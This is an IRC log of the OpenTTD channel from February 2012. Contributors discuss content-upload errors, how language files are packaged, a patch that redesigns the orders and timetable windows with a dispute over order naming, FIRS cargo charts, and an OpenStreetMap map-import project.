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#openttd IRC Logs for 2012-02-28

---Logopened Tue Feb 28 00:00:23 2012
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02:27<@planetmaker>moin
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03:01<Pikka>boin
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03:50<Pikka>hey bananamen
03:50<Pikka>what is "Unexpected error while uploading."?
03:51<Pikka>good morning andythenorth
03:51<andythenorth>something unexpected this way comes?
03:52<Pikka>apparently
03:52<Pikka>who are the bananamen around here? planetmaker?
03:55<andythenorth>TrueBrain:
03:55<andythenorth>Rubidium:
03:55<andythenorth>there you go ;)
03:58*Pikka joins andythenorth in stirring the britttrains pot
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03:59<andythenorth>I am considering forking it, and calling it 'slightly uninteresting car crash'
04:00*Pikka forks FISH
04:01<andythenorth>hmm
04:01*andythenorth considers FRIED_CHICKEN
04:02*Pikka prods banananananas
04:03<Pikka>bananas "version numbers" are unimportant, right?
04:03<andythenorth>hmm
04:04<Pikka>bananas only knows "latest" vs "old", and OTTD uses the action14 version in the grf
04:04<Pikka>I just wonder because I'm replacing 0.82 with 0.1.0 :]
04:05<@planetmaker>Pikka, bananas only cares about the action14 version really
04:05<Pikka>that's what I thought
04:05<Pikka>so
04:05<@planetmaker>and indeed, via the normal online content download you only get the 'latest'
04:05<Pikka>why is it not uploading? :)
04:05<@planetmaker>But if you have an old savegame, you always get the matching newgrf (md5sum)
04:05<@planetmaker>dunno, what error do you get?
04:06<Pikka>Unexpected error while uploading.
04:10<andythenorth>someone else had bananas issue recently....old ships?
04:11<Pikka>spaces in filenames or something?
04:11<Pikka>this is the same zip I've always uploaded, just with a newer grf in it
04:11<andythenorth>hmm
04:12*andythenorth can't think of a way to test :o
04:13*Pikka wonders disk space limits?
04:14<andythenorth>I don't have any grfs with updates that I could upload :O
04:15<andythenorth>raise a FS ticket?
04:16<appe>what factors make the train maintaince cost differ?
04:16<appe>i see it going up and down all the time.
04:16<appe>for individual trains, that is.
04:17<Pikka>what grf are you using, appe?
04:17<Pikka>they shouldn't change at all with the default trains
04:18*andythenorth could update FIRS
04:22<andythenorth>Pikka: split Leanden and Oberhumer's posts to a new Britttrains thread? ;)
04:22<andythenorth>then the BROS guys can carry on arguing in their own thread
04:22<Pikka>I could
04:23<appe>Pikka: ah, i guess i was looking at a grf. i think it was the royal hudson (and i cant remember what grf that is)
04:23<dihedral>thanks!
04:30<Pikka>threads split, expecting everyone to turn around and gang up on me now. :)
04:30<andythenorth>you can take it ;)
04:30*andythenorth will try uploading new FIRS to bananananas - after a quick nappy change (not mine)
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04:32<@peter1138>does it include 32bpp ez sprites now?
04:34<andythenorth>lol
04:34<andythenorth>etc
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04:38<andythenorth>Pikka: no error uploading FIRS :(
04:38<Pikka>hmm
04:39<Pikka>possibly a connection problem
04:46<Pikka>I'll try again later I suppose
04:47<andythenorth>I can try for you - depends if you want to share your password or not...
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04:53<andythenorth>hmm
04:54<andythenorth>I can't update to FIRS 0.7.1 from abananaasas
04:54<Rhamphoryncus>asasasasas
04:54<andythenorth>ottd downloads it, but then can't see it
04:54<andythenorth>when I revisit the online content dialogue, the checkbox for FIRS is unchecked
04:55<andythenorth>0.7.1 doesn't appear to be in my ottd filesystem either
04:56<andythenorth>and I don't seem to have any locally-installed versions of 0.7.1 or 0.7.0
04:57<andythenorth>oh
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04:59<andythenorth>there is now a newgrf dir as well as a data dir
05:04<Rhamphoryncus>andythenorth: hey, mind giving me some feedback? http://i.imgur.com/rEnGo.png
05:05<Pikka>andy, maybe later, dindins
05:05<xiong>Rhamphoryncus, what version is that?
05:05<Rhamphoryncus>That's my patch
05:06<Rhamphoryncus>Nowhere near done
05:06<xiong>Um... can I say I don't like it? Not knowing your intent. I just don't like a wider order window. Can it be narrowed, if needed, taller?
05:07<dihedral>what does your patch do again?
05:07<xiong>Oh wait. I'm guessing your entire intent was to make the window wider and less tall. Sorry.
05:07<Rhamphoryncus>narrowed, no. That's one of the things I don't like. Yes, it organizes the information better, but the time columns are noisy and typically unused
05:08<Rhamphoryncus>dihedral: reorganizing the order and timetable window into one
05:08<Rhamphoryncus>It'll include more later on
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05:10<xiong>I like that the timetable is in straight days. I find the full date format confusing, especially since I can't seem to make all the dates come out to ISO format.
05:11<xiong>Besides, nothing ingame is seasonal. Years matter, days matter; months are irrelevant. Straight days in timetable = win.
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05:11<Rhamphoryncus>yeah, I have another patch (on the tracker) that makes timetables better. This one builds on that.
05:13<Rhamphoryncus>I change a lot of the default assumptions in the labels. Those orders are all non-stop. non-non-stop are displayed as "local"
05:15<xiong>Cool.
05:15<xiong>Automatic timetabling?
05:15<Rhamphoryncus>Automatic balancing
05:16<Rhamphoryncus>So you can hit autofill, tweak the values, and then adding or removing vehicles will maintain their spacing
05:16<xiong>Whatever. Anything to relieve the tedium of carefully timetabling a set of trains, only to have the entire applecart upset as soon as another train is added to the route or all the engines are upgraded.
05:16<Rhamphoryncus>yup
05:17<xiong>I tried, and liked, the automatic feature in chillpack. But it doesn't deal well, or at all, with via orders or conditionals.
05:17<Rhamphoryncus>Future will include average times so you know if you need to tweak the times
05:17<Rhamphoryncus>Yeah, mine doesn't handle conditionals yet either.
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05:18<Rhamphoryncus>I'm considering some way to override the number of vehicles and only use part of the orders as timetabled
05:18<@planetmaker>andythenorth, yes, newgrf dir and data dir might confuse eachother... if there's the same dir within each of them
05:18<xiong>Hey, here's something you might slide in, would be highly appreciated: Ability to autofill just to get the leg and total times; and not force the vehicle to *obey* the timetable.
05:18<Ammler>https://bugzilla.novell.com/show_bug.cgi?id=749128 <-- about language issue, dunno, if it needs login, let me copy to paste
05:18<Rhamphoryncus>Just so you can see how long it takes?
05:18<xiong>Exactly.
05:18<Rhamphoryncus>average times would be that
05:18<xiong>Yah.
05:19<Ammler>http://paste.openttdcoop.org/show/1158/
05:19<xiong>But in general, it should be possible to turn off timetabling without destroying the timetable.
05:19<xiong>There is no "off" button.
05:19<Rhamphoryncus>Well, I'm not planning a toggle, but the average would be displayed regardless so it'd be easy to recreate
05:20<@planetmaker>how did you end up there, Ammler ?
05:20<xiong>I'd call that a good step.
05:20<Eddi|zuHause>maybe toggle between average time, scheduled time and average speed?
05:21<Rhamphoryncus>Eddi|zuHause: that's a thought
05:21<Rhamphoryncus>I hadn't figured out where to display it :)
05:21<Ammler>planetmaker: not me, a suse user is reporting it
05:21<Rhamphoryncus>Ammler: my first guess is a packaging issue is mixing openttd versions
05:22<xiong>If I might suggest: You can eliminate worries about vias, conditionals, depoting, and all other disruptions if you think locally. No vehicle on automatic should try to do anything except equalize headway for itself. .
05:22<@planetmaker>Ammler, thus... the build distributed by suse is faulty?
05:22<xiong>In particular, vehicles that depot should be encouraged to add headway *then*, in depot; and not merely in station, which is not always best.
05:22<Ammler>Rhamphoryncus: I am the packager and I can't reproduce it
05:23<Ammler>planetmaker: how
05:23<Rhamphoryncus>Ammler: arch issues? 32 vs 64 bit?
05:23<@planetmaker>I've no idea
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05:23<Ammler>Rhamphoryncus: only the binary openttd is arch, the rest is noarch
05:24<@planetmaker>Ammler, but language files are part of the arch'ed package. And are compiled there
05:24<@planetmaker>by a separate programme generated on runtime
05:24<@planetmaker>of the compilation
05:24<Rhamphoryncus>xiong: not sure what you mean about depots.
05:24<dihedral>wait what? did i just read that nick?
05:25<Eddi|zuHause>Ammler: this kind of error happens when you update only the binary, not the lang files. or if you update the langfiles and not the binary (e.g. because the program is running or something)
05:26<xiong>Rhamphoryncus, I've only ever observed a timetabled vehicle (that is early) adding headway by waiting in station; never in depot.
05:26<Rhamphoryncus>xiong: you want them to *wait* in a depot?
05:26<xiong>But if you're in a station, I think it's obviously the best time to wait.
05:26<dihedral>Ammler, did you just stumble across this error in the bug tracker, or did you experience it yourself?
05:26<xiong>Erm, I meant to say, if you're in a depot, it's obviously the best time to wait.
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05:27<Rhamphoryncus>Waiting in the depot would be bad for your service rating
05:27<Rhamphoryncus>And your payment if you had cargo at the time.
05:27<@planetmaker>Ammler, indeed I can imagine this happens when the user builds his own openttd - but not the lang files while he has installed an (old) OpenTTD via the package manager.
05:27<@planetmaker>or maybe when he downloaded a binary somewhere w/o lang files
05:27<xiong>It wouldn't be good, no. It's a tradeoff. One doesn't want blocked platforms. Perhaps it could be an option.
05:27<Rhamphoryncus>dihedral: <Ammler> Rhamphoryncus: I am the packager and I can't reproduce it
05:28<@planetmaker>Some people are known to cut off the lang files from their downloads because of "space considerations"
05:28<@planetmaker>(and then download another BR disk)
05:28<dihedral>Ammler, could it be that the user updated the binary via some not intended method?
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05:28<xiong>There's really no *good* place to *stop*; which is why real trains rarely do this to maintain schedule. Instead, they slow down a little.
05:28<Rhamphoryncus>xiong: if you're low on capacity due to that you should tighten your schedule
05:29<Ammler>I asked him to join here, maybe he will :-)
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05:30<dihedral>he only mentions openttd-data version and not the version of the binary he is running ;-)
05:30<dihedral>and i could imagine hime having tried to update the openttd binary by downloading a version from the website without updating the other stuff
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05:30<Rhamphoryncus>xiong: however, I've added "lateness" to my list of things I want to add to conditional orders. :)
05:31<Eddi|zuHause>the lang files should really not be part of openttd-data
05:31<Ammler>Eddi|zuHause: so those are arch?
05:31<Ammler>I always thought, openttd is the only arch file
05:31<Eddi|zuHause>the lang files must exactly match the binary. arch is irrelevant
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05:32<@planetmaker>Indeed, very much so
05:32<Eddi|zuHause>but you can have openttd-versonA and openttd-data-versopmB installed
05:32<Eddi|zuHause>and then the lang files would be invalid
05:32<Ammler>theny you need to ignore require rules
05:32<Eddi|zuHause>that's stupid to rely on
05:33<@planetmaker>Ammler, you really distribute lang files independent of the binary?
05:33<@planetmaker>they're separate packages?
05:33<@planetmaker>That's not a good idea
05:33<@planetmaker>lang files belong to the binary.
05:33<Eddi|zuHause>openttd-data can be opengfx,openmsx and stuff, but _not_ the lang files
05:33<@planetmaker>^^
05:34<dihedral>ubuntu does it too
05:34<Eddi|zuHause>then they're wrong, too...
05:34<@planetmaker>yep
05:34<@planetmaker>everything make bundle creates needs updating when OpenTTD is updated
05:34<dihedral>they just define a dependency
05:34<@planetmaker>it's there for a reason
05:34<dihedral>why on earth they do not put that stuff into one package i do not know
05:34<Rhamphoryncus>dihedral: they have "policy" ;)
05:35<dihedral>you don't say
05:36<evdvelde>The question remains why lang is so tightly bound to the binary of course
05:36<Rhamphoryncus>Anybody experienced with RTL languages? Should that entire set of columns get reversed?
05:37<dihedral>Rhamphoryncus, check how other tables get displayed
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05:38<Rhamphoryncus>I was just starting to do that
05:38<Rhamphoryncus>Some languages are creating an extra column in my window, which remains unrendered. Odd.
05:39<Rhamphoryncus>Ahh Hebrew, there we go :D
05:40<Eddi|zuHause>evdvelde: well, that's how it evolved, i guess
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05:40<Eddi|zuHause>evdvelde: we have a pretty elaborate grammar system, that may break when the binary and lang doesn't exactly match
05:41<Eddi|zuHause>technically, we may have safeguards now that the grammar is exposed to NewGRFs, but those may be missing in some places...
05:42<Rhamphoryncus>Indeed, there's a bug open right now about crashing openttd that way
05:42<Eddi|zuHause>it would be a pretty elaborate work to fiddle that out, and very little benefit, as 99.9% of the people would have the correct versions anyway
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05:45<xiong>Fry3k has not been seen on forum for quite some time and he hasn't updated his FIRS cargo chart. http://wiki.openttd.org/FIRS_cargos is... not enough. Are major changes planned to FIRS economy or would a new chart be welcome?
05:46<Pikka>still want to have a go at it andythenorth?
05:47<Rhamphoryncus>xiong: there's at least 2 other charts out there
05:48<andythenorth>Pikka: if it can be done one-handed, yes ;)
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05:48<Rhamphoryncus>xiong: http://blog.openttdcoop.org/2012/01/27/firs-industry-and-cargo-chart/
05:50<Rhamphoryncus>xiong: but if you can make a *better* chart.. it's worth trying. My personal desire is to break it into two charts, one farming oriented, the other engineering oriented
05:52<Rhamphoryncus>Oi, now I can't resist trying it :)
05:52<xiong>Well, I don't have any reason to criticize https://blog.openttdcoop.org/files/blog/2012/01/FIRS_chart-0.2.02.png but it should be linked in wiki.
05:53<Eddi|zuHause>that fails to load
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05:53<xiong>Now that I think of it... it might be nice if it were more readable when zoomed out, to fit in an average-sized browser window.
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05:54<xiong>But it looks well laid-out.
05:57<xiong>Anyway, thanks Rhamphoryncus.
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06:08<andythenorth>hmm
06:08<Pikka>hmmmm
06:08<andythenorth>absence of FIRS 0.7.1 looked like a bug in a specific rev of ottd
06:08<andythenorth>updating to tip has solved it
06:11<xiong>I had a train running accidentally without a caboose! Did not complain.
06:11<Rhamphoryncus>uhh yeah, cabooses are nothing but candy
06:12<xiong>Cabooses were required for freight trains. Now I see no wiki page for them.
06:13<Rhamphoryncus>In real life, not in the game
06:13<xiong>I distinctly recall they were stated to be required ingame.
06:14<Pikka>Rhamphoryncus: it depends what grf you're using, and xiong, it depends what wiki you're looking at. :]
06:14<xiong>Dunno if I read that on wiki or what.
06:14<Rhamphoryncus>Pikka: some can enforce it? Huh.
06:14<Pikka>http://users.tt-forums.net/pikka/wiki/index.php?title=Caboose
06:14<xiong>Not this: http://wiki.openttd.org/?title=Special%3ALog&type=&user=&page=caboose
06:15<Rhamphoryncus>Pikka: cool
06:16<xiong>I feel ill. You mean *all* the cabooses I've built have been for nothing?
06:16<xiong>Where did I read that? I didn't just make it up. I distinctly recall the statement that a pax car counted as a caboose.
06:16<@planetmaker>andythenorth, the requirement of new FIRS probably is 1.2.0-RC1 or newer
06:17<andythenorth>I was 193 changesets behind tip
06:17<@planetmaker>you might want to adjust bananas min version entry accordingly
06:17<@planetmaker>though... maybe it cannot be selected atm
06:17<Rhamphoryncus>Pikka: are those list of parameters meant to mean "when all of the following apply"?
06:18<Pikka>yes
06:20<xiong>Enough for me. Bed.
06:20<Rhamphoryncus>Not working
06:20<Rhamphoryncus>hrm
06:20<Eddi|zuHause>"zOMG, chancellor majority failed. now the government will break apart"... why don't i read that in the papers?
06:21<Rhamphoryncus>Grasshopper is bugged
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06:28<Rhamphoryncus>But it won't autoreplace without the caboose, so it's fine :)
06:29<FrankyJones>Hello, after installing 1.2.0 RC1 today openttd told me my basic grf sets are missing a few sprites, whats to do?
06:30<Eddi|zuHause>update to newer opengfx
06:30<Eddi|zuHause>should be possible from online content
06:30<FrankyJones>Ok, so like 're-read' the grf's in my list...
06:31<Eddi|zuHause>no, not the newgrfs, the base grf
06:31<FrankyJones>Ah ok got it! Thanks!
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06:35<Ammler>Eddi|zuHause: / planetmaker, distributing those seperately is required for dedicated version, also we distribute it that way since ever
06:37<Eddi|zuHause>Ammler: so you were just lucky that nobody ever ignored the dependency
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06:37<Eddi|zuHause>Ammler: and why is that "required"?
06:37<Eddi|zuHause>you can just put the lang files in both the "normal" and "dedicated" version
06:37<Ammler>not required :-)
06:37<Eddi|zuHause>or even leave out all but english.lng from the dedicated
06:42<Ammler>Eddi|zuHause: you can't pack the same file twice, at least I would not have a clue how
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06:43<Eddi|zuHause>then your build system is weird/lacking a feature
06:45<Ammler>not really, there is no need
06:45<Ammler>the guy on suse found his issue, he just did not tell what yet :-)
06:47<Eddi|zuHause>Ammler: other option would be to split -lang (with tight version requirement) and -data (with less tight requirement)
06:49<Ammler>why should split to -lang work, but split to -data doesn't?
06:50<Ammler>of course, there is already tight version requirement for -data
06:51<Rhamphoryncus>Mmm, it is nice when you just call a function or two and the existing architecture does all the work for you ^_^
07:04<Ammler>also debian does do it the same way, afaik
07:04<@planetmaker>Ammler, how does dedicated / non-dedicated differ in the lang requirements?
07:04<Ammler>it doesn't
07:04<@planetmaker>Splitting lang from the binary is a very bad idea and should - IMHO must - not be done
07:05<Ammler>well, not possible
07:05<@planetmaker>as wrt dedicated and non-dedicated package: just make it different packages...
07:05<Ammler>but please, if you have an idea, how I am open for suggestions
07:06<@planetmaker>Ammler, you can't have both, a dedicated and non-dedicated openttd at the same time anyway, can you?
07:06<Rhamphoryncus>http://i.imgur.com/oD0JZ.png
07:06<Rhamphoryncus>Replaced the timetable columns with mere right-aligning
07:06<@planetmaker>and if so, they need to be compiled such that they use different search paths for their lang files - or you could not have them at different versions
07:06<@planetmaker>not sure one can change compile-time the path for lang files, though
07:08<Rhamphoryncus>More feedback welcome
07:08<@planetmaker>as such what I'd do is: make two packages, one dedicated, one non-dedicated which are mutually exclusive
07:08<@planetmaker>and then always install the lang files which belong to that very package
07:09<Ammler>planetmaker: can we discuss the issue and not make a new one :-)
07:09<Rhamphoryncus>Not sure what to do about conditional orders. Half tempted to draw them over the column separator
07:09<@planetmaker>Ammler, so... what's the issue then when it's not lang files which do not match the binary?
07:10<@planetmaker>wrt data the requirement is MUCH less strict. You may not even need it, if you have your own. While you *always* need the lang files
07:11<@planetmaker>where you basically cannot have your own, if you don't have the source of the openttd which built the binary you have installed
07:13<andythenorth>I never understood 'travel' in the timetabling
07:14<andythenorth>it's not deterministic, so wtf to setting a value for it?
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07:16<Rhamphoryncus>andythenorth: it's the expected travel time. For most purposes you could merge it with load time
07:17<Rhamphoryncus>I've thought about doing that. I'd need a separate way to control partial vs complete timetables.
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07:19<Rhamphoryncus>hrm. Single column with the right being "Wait for any full load [35 days]"?
07:20<Ammler>planetmaker: if I have a issue on my package, not splitting it would not solve it
07:21<Ammler>there might be 2 packages, but still built together and during dependency rules bound
07:23<Ammler>I basically asked here to get tips what else it could cause
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07:51<andythenorth>hmm
07:51*andythenorth can't find a non-convoluted way to do this
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07:51<andythenorth>passing arbitrary arguments down a call chain of framework code to a custom function written by a user of the framework
07:52<andythenorth>could do ** args and such but it's ugly, and might be explodey
07:52<andythenorth>maybe I won't bother :P
07:52<@peter1138>void *
07:52<@peter1138>normally
07:52<@peter1138>let the caller use their own data structure
07:52<@peter1138>(object if you're using such a language)
07:53<@peter1138>next problem?
07:54<andythenorth>prevent unintended consequences?
07:54<andythenorth>e.g. collision of vars etc
07:55<andythenorth>or assume user deals with that?
07:55<andythenorth>likely result is only a type error, or some wrong pixels
07:57<andythenorth>nvm
07:57*andythenorth figured it out
07:59<Rhamphoryncus>:)
08:05<andythenorth>in face albert figured out in the code he gave me, but I misunderstood the implications :o
08:05<andythenorth>face / fact /s
08:07<@peter1138>user deals with it
08:10<andythenorth>that's what albert's code tells me too :)
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08:12<andythenorth>suddenly all is clear :)
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08:29<Eddi|nichZuHause>Rhamphoryncus: what's "exchange cargo" in your pictures anyway?
08:30<Rhamphoryncus>load and u nload
08:30<Rhamphoryncus>Which is the default normally, but rarely actually desired
08:34<Eddi|nichZuHause>rather call it "unload if accepted and load" then
08:34<Eddi|nichZuHause>"exchange" makes it easy to confuse with "transfer"
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08:37<Rhamphoryncus>Really? I don't interpret it that way
08:38<Rhamphoryncus>And unload if accepted is really long
08:39<Rhamphoryncus>hrm
08:40<Rhamphoryncus>Ah right, it was the common cases that were long
08:40<Rhamphoryncus>For a timetabled PAX route all you want is "exchange cargo"
08:40<Rhamphoryncus>Labelling it as "unload if accepted and take cargo" is overly verbose
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08:44<@planetmaker>Rhamphoryncus, but it's verbose for a reason. It's unambiguous
08:44<Rhamphoryncus>In the context of my window is unambiguous. My messages are consistent
08:45<@planetmaker>I have the feeling you're trying to "fix" a dozen things at a time. Often not a good idea
08:45<Rhamphoryncus>I am
08:45<Rhamphoryncus>A dozen things is probably an underestimation
08:46<@planetmaker>"wonderful"
08:46<Rhamphoryncus>There's a lot of interrelation
08:46<Rhamphoryncus>I've tried to do some piecemeal (patches already posted), but there's limits to how much I can do there
08:47<Rhamphoryncus>This.. could probably be segmented into a separate patch
08:47<@planetmaker>Whatever you do, renaming the single load orders probably is not a good idea
08:47<Rhamphoryncus>Because it's different?
08:48<Rhamphoryncus>I'm changing non-stop too
08:48<@planetmaker>do trains behave different? And why remove that order type?
08:48<Rhamphoryncus>No and I'm not removing it
08:48<@planetmaker>if they behave the same? Why rename it?
08:49<Rhamphoryncus>I'm changing the label. Non-stop is assumed, "as local" is displayed if not used.
08:49<Rhamphoryncus>The vast majority of orders should be non-stop. So much that there's an option to do so by default
08:49<Rhamphoryncus>Other than some insane openttdcoop self-regulating stuff there isn't any functional need for local orders
08:50<@planetmaker>ehm... I guess openttdcoop is who use goto with intermediate stop the least. But there are many reasons to use it
08:51<@planetmaker>you should not necessarily assume that your way to use orders is the only one or the most likely one :-)
08:51<Rhamphoryncus>What was is there?
08:51<Rhamphoryncus>way*
08:51<Rhamphoryncus>I don't assume. I search and try to find alternative uses. Self-regulating is the only one I found.
08:52<@planetmaker>any line A-B with intermediate stops is quickly ordered without non-stop
08:52<Rhamphoryncus>So, saves a couple clicks
08:52<Rhamphoryncus>But you have to click in the UI to enable it
08:52<Rhamphoryncus>And you're treated with the noise of all the non-stop
08:54<@planetmaker>not sure what you mean with 'noise'
08:54<@planetmaker>and... you have to enable non-stop explicitly, too
08:54<Rhamphoryncus>Nearly every line repeating "non-stop"?
08:54<Rhamphoryncus>Yeah, only because it's not original to ttd
08:55<@planetmaker>well, I can only advise to keep "non-stop". It's a clear naming. Everyone understands that.
08:55<@planetmaker>While otoh "local" is a totally fuzzy concept
08:55<Rhamphoryncus>local is a pretty standard term
08:55<Rhamphoryncus>I didn't invent it
08:56<V453000>in general I would join the ranks of advising to keep any naming as original
08:56<V453000>just renaming things probably doesnt help anything
08:56<V453000>"local" order would be very unobvious to me
08:56<Rhamphoryncus>Only because it's a change.
08:56<@planetmaker>no
08:56<@planetmaker>it doesn't tell me *anything* about how the order behaves
08:57<@planetmaker>while "goto non-stop to A" is absolutely clear
08:57<Rhamphoryncus>It's the exact opposite of non-stop
08:57<V453000>local is opposite of nonstop? :o
08:57<@planetmaker>in your wording, yes
08:57<@planetmaker>but not in general language understanding
08:57<Rhamphoryncus>Why would you assume if you see "goto A" that it'd go to B, C, and D if it felt like it?
08:57<@planetmaker>B,C and D are on the way
08:57<Rhamphoryncus>In the context of bus and train routes there's local and express
08:57<V453000>just cause it is missing the non-stop which can be swapped
08:58<V453000>but if it changes to something different, who knows
08:58<V453000>if you want an opposite then it would have to be something obvious, like do-stop ... or similarly
08:58<V453000>but "local" really doesnt hit it to me
08:58<@planetmaker>^^
08:59<Eddi|nichZuHause>how about appending "(with/without intermediate stop)"? (except that it is too long)
08:59<V453000>I would just keep it as it is, it is short and quite obvious what it does
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08:59<V453000>and as I suggested someday earlier, perhaps make non-stop orders coloured differently than stop orders. That would make the difference even better visible
09:00<Rhamphoryncus>I could make the "as local" part bright red ;)
09:00<Rhamphoryncus>Add a tooltip
09:00<Rhamphoryncus>flashing lights
09:00<Rhamphoryncus>Maybe a URL to some definitions and real life examples
09:00<V453000>with stops perhaps?
09:01<V453000>just totally not "local"
09:01<V453000>non-stop x with stops
09:02<Rhamphoryncus>Local Train — A train with an assigned crew that works between pre-designated points normally providing picking up or dropping off railcars to the railroad customer base within the area.
09:03<V453000>why not "with stops" ?
09:03<V453000>dont tell me you dont see that it is much more obviously the opposite of non-stop
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09:04<Rhamphoryncus>I don't. The opposite even.
09:04<Rhamphoryncus>I'm specifying stops. How could one be "with stops"?
09:04<@planetmaker>that's why eddi suggested "with intermediate stops"
09:04<@planetmaker>and you're not specifying "stops" but "destinations"
09:04<Rhamphoryncus>Every route has a specified list of stops. There's no such things as implicit ones.
09:05<V453000>"Go with stops to X?" "Go non-stop to Y?"
09:05<@planetmaker>Stops is actually the difference, that there can be intermediate ones
09:05<V453000>intermediate feels long :)
09:05<@planetmaker>yes, it does
09:05<Rhamphoryncus>4. local
09:05<Rhamphoryncus>stopping at most or all stations:
09:05<Rhamphoryncus>a local train.
09:06<V453000>I dont think we care about the dictionary explanation of local ... it just isnt obvious
09:06<@planetmaker>^^
09:06<Mazur>"all stops"
09:06<Mazur>"with all stops"
09:06<Mazur>Just tasting the terms.
09:06<Rhamphoryncus>How about "Go, while stopping at every intermediate station it passes through, to X"? ;)
09:07<@planetmaker>and for the intermediate stops, that's what you have the "automatic orders" for
09:07<@planetmaker>Rhamphoryncus, exactly. And that's why the current naming goto non-stop is MUCH shorter
09:07<@planetmaker>And MUCH clearer
09:07<@planetmaker>"don't fix it, if it ayn't broke"
09:07<Rhamphoryncus>I disagree with both clarity and brokenness
09:08<@planetmaker>have fun. Would be a pity, if you litter your patches with unnecessary changes which are both unwanted and counterproductive :-)
09:09<Rhamphoryncus>They're not, but there's no point arguing it anymore :P
09:09<V453000>I can agree with the point that it would be good to add a name for "without nonstop orders". Simply because if you want to make them somehow coloured, these parts of orders would have to be the ones. But it has to be obvious opposite of non-stop, and it has to be short.
09:10<@planetmaker>btw, changing this naming is totally a separate patch on its own. No need to mix it with *anything* else
09:11<Rhamphoryncus>planetmaker: It's closed related to the intent. The implementation may be separable.
09:11<Rhamphoryncus>"This UI is cluttered and awkward. What can we do better?"
09:11<@planetmaker>whatever your intend: it needs no renaming ;-)
09:11<@planetmaker>and is quite a bit unrelated to the window layout itself
09:12<@planetmaker>even going by the screenshot you posted earlier
09:12<Rhamphoryncus>Changing makes it a lot more practical to have a small window
09:12<@planetmaker>and always separate implementation where something can be separated :-)
09:12<Rhamphoryncus>Otherwise it has to be 20-30 pixels wider
09:13<@planetmaker>omg
09:13<@planetmaker>that's a whole icon width wider
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09:15<Rhamphoryncus>Repeated on every single line, conveying no useful information to the user? They have to learn to look for the absence of it instead?
09:16<Rhamphoryncus>48 pixels actually
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09:18<Rhamphoryncus>Oh, and for the record: I intend to make my window optional. The old windows will still be accessible if you turn it off, and use the old text.
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09:24<@planetmaker>Rhamphoryncus, that's even worse. Two names for the same thing
09:25<V453000>guess I just missed something due to the netsplit :D
09:25<@planetmaker>probably me, too. But... who knows :-)
09:25<Rhamphoryncus>Right, like openttd is afraid of duplication :P
09:25<@planetmaker>though it was only one minute
09:25<Rhamphoryncus>No, I didn't say anything else
09:26<@planetmaker>two orders windows with an adv. setting is... stupid. We already have too many adv. settings. And... what purpose would that setting serve?
09:27<Rhamphoryncus>Silencing the naysayers.
09:27<@planetmaker>sorry. But an adv. setting for that: unacceptable IMHO
09:27<Rhamphoryncus>Who are used to the old way. Just as local orders are now.
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09:30<V453000>why do you discuss stuff, you are absolutely stubborn on your stupid "local" anyway
09:30<V453000>for no reason that I would see
09:30<Rhamphoryncus>I feel exactly the same about you guys. Oblivious to the problems, too stubborn to accept any change.
09:31<V453000>I say a change to something obvious is good as a word for that type of orders would be useful
09:31<V453000>like with stops
09:31<V453000>your asnwer: no, local.
09:32<V453000>while (at least verbally) with stops is definitely a more obvious opposite to non-stop
09:32-!-Devroush [~dennis@ip-83-134-159-169.dsl.scarlet.be] has joined #openttd
09:33<Rhamphoryncus>To which I provided examples of why locals is better.
09:33<Rhamphoryncus>And it's not like you've said a single positive thing about my work
09:34<V453000>that werent examples, that was dictionary explanation of "local". Local can also be distance-saying ... like local train - short distance train --- nothing about stops there.
09:34<Rhamphoryncus>And the suggestions here have been to say something for BOTH local and non-stop
09:35<V453000>and I just entered the discussion, and I havent seen any of your works
09:35<nilsi>what would be the preferred way to get a "get good ratings" cheat option ?
09:35<@planetmaker>this discussion was about renaming how orders are called. Not any of your work. I didn't even look at it
09:35<nilsi>I am a sandbox Player and bribing doens't cut it
09:35<@planetmaker>nilsi, write a NewGRF
09:35<@planetmaker>but there's no cheat for it
09:35<V453000>FIRS can cheat that
09:36<Rhamphoryncus>Yeah, the dictionary definition seems a little out of context, that's because there's no such thing as a real bus or train that stops at whatever stations it randomly hits. They always have an explicit list of stations. They just list the most important ones as.. the most important.
09:36<V453000>how is related real bus or train?
09:36<@planetmaker>Rhamphoryncus, exactly. We have automatic orders. And manual orders (the important ones)
09:36<Rhamphoryncus>V453000: terminology is derived from real world uses.
09:37<V453000>it makes no sense here in the game
09:37<nilsi>I am talking about being allowed to build stations with bad town ratings
09:37<@planetmaker>this is a game
09:37<V453000>just like "local" says nothing
09:37<@planetmaker>and things need be clear
09:37<nilsi>can grfs really do that ?
09:37<@planetmaker>nilsi, there's no cheat
09:37<nilsi>i know
09:37<@planetmaker>all you can do is wait. Or bribe the town
09:37<V453000>a "with stops" train must stop in all stations it meets. Which it does
09:37<@planetmaker>or build trees to make them happy
09:38<Rhamphoryncus>V453000: Your expectations of the terminology are intrenched in a decade of TTD doing it that way. They're quite different from what anybody new to the game would expect.
09:38<V453000>while ... "local" doesnt stop in all stations, therefore this real life example is not fitting?
09:38<nilsi>i have been implementing an openstreetmap interface during the last weeks, i know it is not yet there
09:39<Rhamphoryncus>A local bus stops at all stops along its route. Most buses are local, so it's assumed.
09:39<V453000>but you just said it. Local does not stop in all stations in real life. Which is not what this order does
09:39<Rhamphoryncus>It's only weird because "automatic" is weird
09:39<Rhamphoryncus>Hrm. "stopping automatically"?
09:40<nilsi>"stopping everywhere"
09:40<V453000>if you send out a bus with "with stops" order, it will stop everywhere it meets
09:42<@planetmaker>nilsi, an OSM interface? Like reading-in maps?
09:42<nilsi>yes exactly
09:42<@planetmaker>interesting
09:43<nilsi>however it is quite traffic intensive
09:43<nilsi>and there seems to be a problem in town founding speed
09:44<nilsi>took me 6 hours to render Saxony with 3500 towns
09:44<nilsi>http://dl.dropbox.com/u/12824307/GIS_feb2012.pdf
09:44<nilsi>is our presentation
09:45<nilsi>yesterday i added rendering of farmland :-)
09:45<@planetmaker>nilsi, you cannot place towns arbitrarily close
09:45<@planetmaker>and obviously also not on every tile (like water). Not sure about slopes
09:46<nilsi>slopes are not yet supportet
09:47<@planetmaker>I think the reason therein lies in the fact that the centre tile has to be road and it should allow much connectivity (like a 4-way junction)
09:48<@planetmaker>which is not feasible on a sloped tile
09:48<@peter1138>heh, cute
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09:49<Pikka>oh no
09:50<@peter1138>SCUDDLES
09:50<Scuddles>wrong channel damn it
09:50<Scuddles>also orudge is a bum
09:50<Pikka>no it isn't the wrong channel
09:50<Pikka>no-one uses #tycoon any more
09:50<Scuddles>why are you right
09:51<Scuddles>peter1138 where are diagonal stations and fancy ottd features
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09:51<Scuddles>danmack is a
09:51<Pikka>what have you done
09:52<Scuddles>a bunch of graphics
09:52<V453000>diagonal stations :d
09:52<Scuddles>that tablecat fellow drew something silly again it seems
09:54<Scuddles>pruplethingz is a butt
